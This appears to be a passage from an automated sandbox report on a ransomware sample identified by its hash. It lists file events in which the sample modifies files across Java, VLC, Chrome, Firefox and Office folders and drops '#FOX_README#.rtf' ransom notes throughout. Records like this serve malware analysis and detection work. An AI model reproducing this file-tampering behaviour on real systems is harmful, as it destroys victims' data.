f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\core\locale\com-sun-tools-visualvm-modules-startup_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\epl-v10.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ps\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\jdwpTransport.h f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\hprof-16.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.net_1.2.200.v20120807-0927.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.reconciler.dropins.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-coredump.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.services_1.1.0.v20140328-1925.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-spi-actions_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-dialogs.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-dialogs_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-swing-plaf.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-lib-profiler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\3RDPARTY f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_MoveDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\local_policy.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_basestyle.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-compat.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\fil.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\pt-BR.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui_3.106.0.v20140812-1751.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\lib\imap.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_LinkDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\security\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\javaws.policy f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-favorites.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-modules-queries.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jetty.util_8.1.14.v20131031.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jvisualvm.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.browser.attach.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jarsigner.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-execution_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7Handle.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\org-openide-filesystems_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-keyring.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\stream_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.operations.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\db\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\[email protected] f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-lib-uihandler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\bookbig.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\default_apps\docs.crx f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\bin\NetworkServerControl.bat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-sendopts.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\psfontj2d.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\asl-v20.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\javaws.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.emf.ecore.xmi_2.10.1.v20140901-1043.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.nl_ja_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-charts_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\triggerEvaluators.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\resources.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.update\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\CIEXYZ.pf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings_0.10.200.v20140424-2042.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\about.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-awt_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\th.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\javaw.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app_1.0.300.v20140228-1829.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-openide-io.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.repository_1.2.100.v20131209-2144.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\default_apps\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ks_IN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\nbexec64.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\ProtectBackup.htm f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-api-visual.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\lv.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.httpcomponents.httpclient_4.2.6.v201311072007.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jmap.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\ClearBackup.3gp f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\jaccess.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\jfxswt.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\el.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\tzdb.dat f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse_1.1.200.v20140414-0825.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-attach.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\tzmappings f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.jface.databinding.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\meta-index f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-bootstrap.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\access-bridge-64.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\sl.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\fonts\LucidaSansDemiBold.ttf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.dom.svg_1.1.0.v201011041433.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_cs.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rcp.application_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.commands_0.10.2.v20140424-2344.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core_0.10.100.v20140424-2042.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\skin.dtd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-multitabs_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-lib-uihandler.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Microsoft Office 15\ClientX64\IntegratedOffice.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_ja.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\net.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-api.jar 